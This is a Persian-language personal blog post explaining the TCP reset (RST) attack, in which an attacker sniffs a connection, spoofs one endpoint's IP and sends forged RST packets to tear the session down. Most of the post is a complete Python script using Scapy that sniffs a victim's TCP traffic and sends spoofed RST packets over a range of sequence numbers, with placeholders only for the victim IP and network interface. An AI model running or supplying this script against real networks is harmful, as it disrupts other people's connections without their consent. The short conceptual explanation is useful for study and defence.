وبلاگ شخصی علی اصغر صدیقی

علاقمند به IT -روان- کتاب

RST Attack چیست و چگونه انجام میشود؟

بدون دیدگاه

اگر با علم شبکه آشنایی داشته باشید این را میدانید که پکت های TCP حاوی فلگ هایی هستند.یکی از این فلگ ها فلگ RESET یا RST است.درصورتی که در ارتباط TCP بین دو Node یکی از آن ها بسته ای حاوی فلگ RST ارسال کند ارتباط سریعا قطع خواهد شد.

با این وضع این خاصیت میتواند مورد سوء استفاده قرار گیرد و برای حمله اسفاده شود.هکر ابتدا روی شبکه شنود میکند و ارتباط های TCP را شناسایی میکند.سپس با بدست آوردن IP و Port مورد استفاده دو کلاینت و با استفاده از Sequence Number آخرین پکت ارسال شده میتواند IP یکی از این کلاینت ها را جعل کرده و یک پکت جعلی حاوی فلگ RST با IP جعل شده برای کلاینت دیگر ارسال کند در نتیجه ارتباط بین دو کلاینت قطع خواهد شد.

کد زیر برای انجام این حمله با زبان Python و ابزار قدرتمند و محبوب Scapy است.

from scapy.all import *
win=512
tcp_rst_count = 10
victim_ip = "Victim IP"
your_iface = "Your IFACE"

# get a tcp packet by sniffing WiFi
t = sniff(iface=your_iface, count=1,
          lfilter=lambda x: x.haslayer(TCP)
          and x[IP].src == victim_ip)
t = t[0]
tcpdata = {
    'src': t[IP].src,
    'dst': t[IP].dst,
    'sport': t[TCP].sport,
    'dport': t[TCP].dport,
    'seq': t[TCP].seq,
    'ack': t[TCP].ack
}
max_seq = tcpdata['ack'] + tcp_rst_count * win
seqs = range(tcpdata['ack'], max_seq, int(win / 2))
p = IP(src=tcpdata['dst'], dst=tcpdata['src']) / \
            TCP(sport=tcpdata['dport'], dport=tcpdata['sport'],
            flags="R", window=win, seq=seqs[0])

for seq in seqs:
    p.seq = seq
    send(p, verbose=0, iface=your_iface)
    print(mColor.success('tcp reset attack finish'))

منبع : https://gist.github.com/spinpx/263a2ed86f974a55d35cf6c3a2541dc2



پاسخی بگذارید

نشانی ایمیل شما منتشر نخواهد شد.